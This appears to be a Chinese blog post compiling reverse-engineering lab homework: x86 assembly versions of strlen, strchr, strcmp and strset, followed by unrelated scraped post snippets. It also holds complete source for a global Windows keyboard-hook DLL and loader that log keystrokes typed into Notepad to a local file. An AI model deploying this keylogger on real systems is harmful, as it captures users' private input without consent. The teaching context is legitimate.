12.24逆向工程上机作业整理

.386
.model flat, stdcall

include kernel32.inc
includelib kernel32.lib

include msvcrt.inc
includelib msvcrt.lib

.data
szText    db    "Reverse Engineering", 0
format    db    "length = %d", 0AH, 0

.code

main PROC
    LEA EDI, szText
    MOV ECX,0FFFFFFFFH
    MOV AL,0
    MOV BL,0
    RE:
        CMP BYTE PTR [EDI],BL
        JZ EXIT
        INC EDI
        INC AX
        JMP RE
    EXIT:

    INVOKE crt_printf, addr format, AL
    INVOKE crt_getchar
    INVOKE ExitProcess, 0
main ENDP

END main

strlen

 1 .386
 2 .model flat, stdcall
 3
 4 include kernel32.inc
 5 includelib kernel32.lib
 6
 7 include msvcrt.inc
 8 includelib msvcrt.lib
 9
10 .data
11 szText    db    "Reverse Engineering", 0
12 chr        db    ‘i‘
13 format    db    "%d", 0AH, 0
14
15 .code
16
17 main PROC
18     LEA EDI, szText
19     MOV ECX,0FFFFFFFFH
20     ;LEA AX,chr
21     MOV BL,CHR
22     MOV AL,0
23     RE:
24         CMP BYTE PTR [EDI],BL
25         JZ EXIT
26         INC EDI
27         INC AL
28         JMP RE
29     EXIT:
30
31
32     INVOKE crt_printf, addr format, AL
33     INVOKE crt_getchar
34     INVOKE ExitProcess, 0
35 main ENDP
36
37 END main

strchr

 1 .386
 2 .model flat, stdcall
 3
 4 include kernel32.inc
 5 includelib kernel32.lib
 6
 7 include msvcrt.inc
 8 includelib msvcrt.lib
 9
10 .data
11 format        db    "%d", 0AH, 0
12 szText        db    "Reverse Engineering", 0
13 szText2        db    "Reverse Engineering", 0    ;szText==szText2
14 szText3        db    "Reverse Eng", 0            ;szText>szText3
15 szText4        db    "Reverse Engj", 0            ;szText<szText4
16 szText5        db    "Reverse Engh", 0            ;szText>szText5
17
18 .code
19
20 main PROC
21     LEA ESI, szText
22     ;LEA EDI, szText2    ;result=0
23     ;LEA EDI, szText3    ;result=1
24     ;LEA EDI, szText4    ;result=-1
25     LEA EDI, szText5    ;result=1
26 START:
27     lodsb                    ;将ds:esi的第一个字节装入寄存器AL,同时[esi]+1
28     scasb                    ;将es:edi的第一个字节和AL相减,同时[edi]+1
29     jne NOTEQ                ;为0时跳转
30     test al,al
31     jne START
32     xor eax,eax                ;将EAX置0
33     jmp ENDCMP
34 NOTEQ:
35     mov eax,1
36     jg ENDCMP                ;jl是小于
37     neg eax
38 ENDCMP:
39
40
41     INVOKE crt_printf, addr format, EAX
42
43     INVOKE crt_getchar
44     INVOKE ExitProcess, 0
45 main ENDP
46
47 END main

strcmp

 1 .386
 2 .model flat, stdcall
 3
 4 include kernel32.inc
 5 includelib kernel32.lib
 6
 7 include msvcrt.inc
 8 includelib msvcrt.lib
 9
10 .data
11 szText    db    "Reverse Engineering", 0
12 chr        db    ‘j‘
13
14 .code
15
16 main PROC
17     LEA EDI, szText
18     MOV ECX,0FFFFFFFFH
19     MOV BL,CHR
20     RE:
21         CMP BYTE PTR [EDI],BL
22         JZ EXIT
23         MOV [EDI],BL
24         INC EDI
25         JMP RE
26     EXIT:
27     INVOKE crt_printf, addr szText
28
29     INVOKE crt_getchar
30     INVOKE ExitProcess, 0
31 main ENDP
32
33 END main

strset

#include "stdio.h"
#include "windows.h"
#include<fstream>
#include<iostream>
HINSTANCE g_hInstance = NULL;
HHOOK g_hHook = NULL;
HWND g_hWnd = NULL;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved) {//第三个参数没有意义
    switch (dwReason) {
    case DLL_PROCESS_ATTACH:
        g_hInstance = hinstDLL;
        break;

    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){
    char szPath[MAX_PATH] = { 0, };
    char *p = NULL;

    if (nCode >= 0) {
        std::ofstream out("D:\\reverse\\input.txt", std::ios::app);
        //输出流,记录键值
        // bit 31 : 0 => press, 1 => release
        if (!(lParam & 0x80000000)) {
            GetModuleFileNameA(NULL, szPath, MAX_PATH);
            p = strrchr(szPath, ‘\\‘);
            //若加载当前DLL的进程的可执行文件名称为notepad.exe,则消息不会传递给下一个钩子
            if (!_stricmp(p + 1, "notepad.exe")) {
                    BYTE   ks[256];
                    GetKeyboardState(ks);
                    WORD   w;
                    UINT   scan;
                    scan = 0;
                    ToAscii(wParam, scan, ks, &w, 0);
                    char ch = (char)w;
                    out << ch;
            }
        }
        out.close();
    }
    // 当前进程不是notepad.exe,将消息传递给下一个钩子

    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

#ifdef __cplusplus
extern "C" {
#endif
    __declspec(dllexport) void HookStart() {
        g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
    }

    __declspec(dllexport) void HookStop() {
        if (g_hHook) {
            UnhookWindowsHookEx(g_hHook);
            g_hHook = NULL;
        }
    }
#ifdef __cplusplus
}
#endif

KeyHook.dll

#include "stdio.h"
#include "conio.h"
#include "windows.h"

#define    DEF_DLL_NAME        "KeyHook.dll"
#define    DEF_HOOKSTART        "HookStart"
#define    DEF_HOOKSTOP        "HookStop"

typedef void (*PFN_HOOKSTART)();
typedef void (*PFN_HOOKSTOP)();

void main()
{
    HMODULE            hDll = NULL;
    PFN_HOOKSTART    HookStart = NULL;
    PFN_HOOKSTOP    HookStop = NULL;
    char            ch = 0;

    // KeyHook.dll
    hDll = LoadLibraryA(DEF_DLL_NAME);
    if( hDll == NULL )
    {
        printf("LoadLibrary(%s) failed!!! [%d]", DEF_DLL_NAME, GetLastError());
        return;
    }

    // export
    HookStart = (PFN_HOOKSTART)GetProcAddress(hDll, DEF_HOOKSTART);
    HookStop = (PFN_HOOKSTOP)GetProcAddress(hDll, DEF_HOOKSTOP);

    HookStart();

    printf("press ‘q‘ to quit!\n");
    while( _getch() != ‘q‘ )    ;

    HookStop();

    FreeLibrary(hDll);
}

HookMain.cpp

时间: 2024-10-29 02:38:11

12.24逆向工程上机作业整理的相关文章

C++ 第一次上机作业

今天完成了C++第一次上机作业,感觉比较简单. 题目: 求2个数或3个正整数中的最大数,用带有默认参数的函数实现. 对3个变量按由小到大顺序排序,要求使用变量的引用. 编写一个程序,用同一个函数名对几个数据进行从小到大排序,数据类型可以是整型.浮点型.用重载函数实现. 对第4题改用函数模板实现,并与第4题程序进行对比分析. 第一题代码: 1 #include<iostream> 2 using namespace std; 3 4 void max(int a=0,int b=0,int c=

Android开发之获取系统12/24小时制的时间

//通过DateFormat获取系统的时间 String currentTime=DateFormat.format("yyyy-MM-dd hh-mm-ss", new Date()).toString(); currentTime="通过DateFormat获取的时间:\n"+currentTime; //通过SimpleDateFormat获取24小时制时间 SimpleDateFormat sdf=new SimpleDateFormat("yyy

SDN第二次上机作业

SDN第二次上机作业 1.安装floodlight 参考链接:http://www.sdnlab.com/19189.html 2.生成拓扑并连接控制器floodlight,利用控制器floodlight查看图形拓扑 拓扑如图所示 提交要求:控制器floodlight所示可视化图形拓扑的截图,及主机拓扑连通性检测截图 3.利用字符界面下发流表,使得'h1'和'h2' ping 不通 参考链接:http://www.sdnlab.com/19394.html 提交要求:流表截图,及拓扑连通性截图

SDN第四次上机作业

SDN第四次上机作业 实验目的 1.使用图形化界面搭建拓扑如下并连接控制器 2.使用python脚本搭建拓扑如下并通过命令行连接控制器 3.使用任一种方法搭建拓扑连接控制器后下发流表 实验步骤 1.建立以下拓扑,并连接上ODL控制器. 2.利用ODL下发流表,使得h3在10s内ping不通h1,10s后恢复. 3.借助Postman通过ODL的北向接口下发流表,再利用ODL北向接口查看已下发的流表.

2017.12.24(查找最接近元素等)

2017.12.24  贪心,分治综合习题(2) 1.查找最接近元素 思路:由题可知,n<=100000,m<=10000,如果每一个m都把这个非降序序列扫一遍的话,那么时间复杂的将要到达1010那么多,明显不合题意:所以,只能用二分查找来优化时间复杂度. 核心代码: int left=1,right=n,mid,bz=0; while(left<right-1){ bz=0; mid=(left+right)/2; if(k==num[mid]){ printf("%d\n&

SDN第五次上机作业

SDN第五次上机作业 实验目的 1.搭建如下拓扑并连接控制器 2.下发相关流表和组表实现负载均衡 3.抓包分析验证负载均衡 实验步骤 1.建立以下拓扑,并连接上ODL控制器. 原文地址:https://www.cnblogs.com/ZHOULR/p/8127854.html

17秋 SDN课程 第五次上机作业

17秋 SDN课程 第五次上机作业 项目地址:https://github.com/Wasdns/new_balance Task of SDN Course, Realizing Load Balancer: New Balance Introduction: This demo introduces a simple load balancer application which schedules traffics based on packet rate. At runtime, the

17秋 SDN课程 第三次上机作业

SDN 第三次上机作业 1.创建拓扑 2.利用OVS命令下发流表,实现vlan功能 3.利用OVS命令查看流表 s1: s2: 4.验证性测试 5.Wireshark 抓包验证 原文地址:https://www.cnblogs.com/qq952693358/p/8313497.html

12.21 php-fpm的pool;12.22 php-fpm慢执行日志;12.23 ;12.24

12.21 php-fpm的pool 1.添加pool: [[email protected] ~]# vim /usr/local/php-fpm/etc/php-fpm.conf 添加第二个pool: [hao1.com] listen = /tmp/hao1.sock listen.mode = 666 user = php-fpm group = php-fpm pm = dynamic pm.max_children = 50 pm.start_servers = 20 pm.min_